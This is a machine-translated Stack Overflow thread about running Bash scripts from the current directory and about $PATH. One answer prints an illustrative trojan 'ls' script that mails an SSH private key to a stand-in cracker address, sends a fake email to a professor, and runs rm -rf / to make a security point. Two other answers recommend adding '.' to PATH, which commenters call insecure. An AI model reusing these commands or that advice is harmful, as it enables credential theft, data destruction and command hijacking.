【问题标题】:Why do I have to use an absolute path to execute Bash scripts?为什么我必须使用绝对路径来执行 Bash 脚本?
【发布时间】:2023-03-13 06:25:01
【问题描述】:

我的桌面上有一个名为 highest 的 Bash 脚本。

如果我跑:

cd ~/Desktop
highest

我得到:找不到命令

但如果我跑:

~/Desktop/highest

它执行得很好。但是为什么我的命令行在正确的目录下还需要使用绝对路径呢?

我猜这与$PATH 变量有关。就像我需要添加类似./ 的东西。如果是这样,我该如何添加?我还不习惯 Linux,遇到这种情况会很困惑。

【问题讨论】:

  • bash 不被认为是一种编程语言吗?不知道为什么这被投票转移到超级用户..有人可以解释一下吗?
  • 您不应将. 添加到您的PATH。这是一个安全风险。
  • @John:是的,但这与编程本身无关。 highest 可以是任何 bash 脚本,您甚至没有声明您编写了该脚本。
  • 在桌面目录中尝试./highest
  • 这是个好问题。新用户以及从未完全习惯 Unix 或固执己见的有经验的程序员经常会遇到这种情况。

标签: bash ubuntu


【解决方案1】:

我同意@Dennis 的说法。不要添加“。”到你的路径。这是一个安全风险,因为它会使破解者更有可能覆盖您的命令。有关详细说明,请参阅http://www.linux.org/docs/ldp/howto/Path-12.html

例如,假设我是一个破解者,我创建了一个像 /tmp/ls 这样的木马文件。假设这是在大学或其他地方的共享系统上。

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

如果您在 /tmp 目录并执行“ls”命令会发生什么?如果PATH 包含.,那么您将执行 /tmp/ls ,而您的真正意图是使用 /bin/ls 中的默认 'ls'。

相反,如果您想执行自己的二进制文件,请显式调用脚本(例如 ./highest)或创建自己的 bin 目录,这是大多数用户所做的。

  1. 添加您自己的 ~/bin 目录,并在其中放置您自己的二进制文件。

    mkdir ~/bin
    vi ~/bin/highest
    
  2. 然后,修改 PATH 以使用本地二进制文件。将 .bashrc 中的 PATH 语句修改为如下所示。

    导出 PATH=$PATH:~/bin

  3. 要验证highest 是您的路径,请执行以下操作:

    bash$ which highest
    /Users/stefanl/bin/highest
    

【讨论】:

    【解决方案2】:

    是的,添加./ 是可以的,所以运行cd ~/Desktop; ./highest 就可以了。问题正如您所说:运行highest 本身会导致Linux 在您的$PATH 中查找名为highest 的任何内容,并且由于没有任何名称,因此它失败了。在正确的目录中运行 ./highest 可以完全解决问题,因为您指定了可执行文件的路径。

    【讨论】:

      【解决方案3】:

      你能做的最好的事情就是习惯于在你想要运行目录中的命令时使用 ./highest,除非你真的想将它添加到你的路径中。然后你应该将它添加到你的主目录中的 .profile 文件中的路径中(如果它不存在则创建它),以便每次启动 bash 时它都会加载到你的路径中:

      export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"

      【讨论】:

      • The best thing you can do is just get used to using ./highest 我会把它放在我的日常生活中。谢谢。
      【解决方案4】:

      不要更改PATH,只需将脚本移动或符号链接到某个标准位置,例如

      mkdir -p ~/bin
      cd ~/bin
      ln -s ../Desktop/highest highest
      

      如果~/bin 在您的路径中(如果您使用 Ubuntu 的默认 shell 初始化脚本,情况就是如此),那么您可以从任何地方通过它们的名称调用其中的脚本。

      【讨论】:

        【解决方案5】:

        您需要将本地目录添加到您的路径:

        PATH=$PATH:.
        export PATH
        

        这可以在您的 .profile 或 .bash_profile 中完成,以便在您登录时始终进行设置。

        另外,当然,您可以使用当前目录标记运行命令:

        ./highest
        

        也是。

        当然,许多用户在下面提到了安全隐患,我应该提到。

        【讨论】:

        • 仅用于会话,除非您将这两行添加到您的配置文件脚本中。这是一个位于您的主目录中的脚本,名称为.profile.bash_profile。每次启动新会话时都会运行此脚本,并且您可以设置持久会话环境更改以在您登录时始终发生(在大多数情况下......有时它不会)。
        • 不要添加当前目录'.'到 $PATH,因为它会带来安全风险!
        • -1:不要加'.'到 $PATH!重大安全隐患!为什么会被接受?
        • 默认情况下不这样做是有原因的。如果添加 .到你的路径,然后你执行说,ls,如果那个目录中有一个名为“ls”的恶意程序怎么办?那一个将被执行而不是 /bin/ls。不要改变你的 $PATH。只需运行 ./command 即可执行当前目录中的文件,正如 Bash 之神所希望的那样。
        • 更务实的是,您应该习惯./,因为否则每次您使用新的 Linux 系统或重新安装时,您都必须编辑登录配置文件,这甚至可能不适用于 bash shell .最好只输入./,并且永远不必更改您的例行程序或弄清楚它为什么不起作用或将来如何再次修复它。
        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 2011-04-07
        • 2018-02-25
        • 1970-01-01
        • 2016-01-09
        • 1970-01-01
        • 2022-12-15
        • 1970-01-01
        相关资源
        最近更新 更多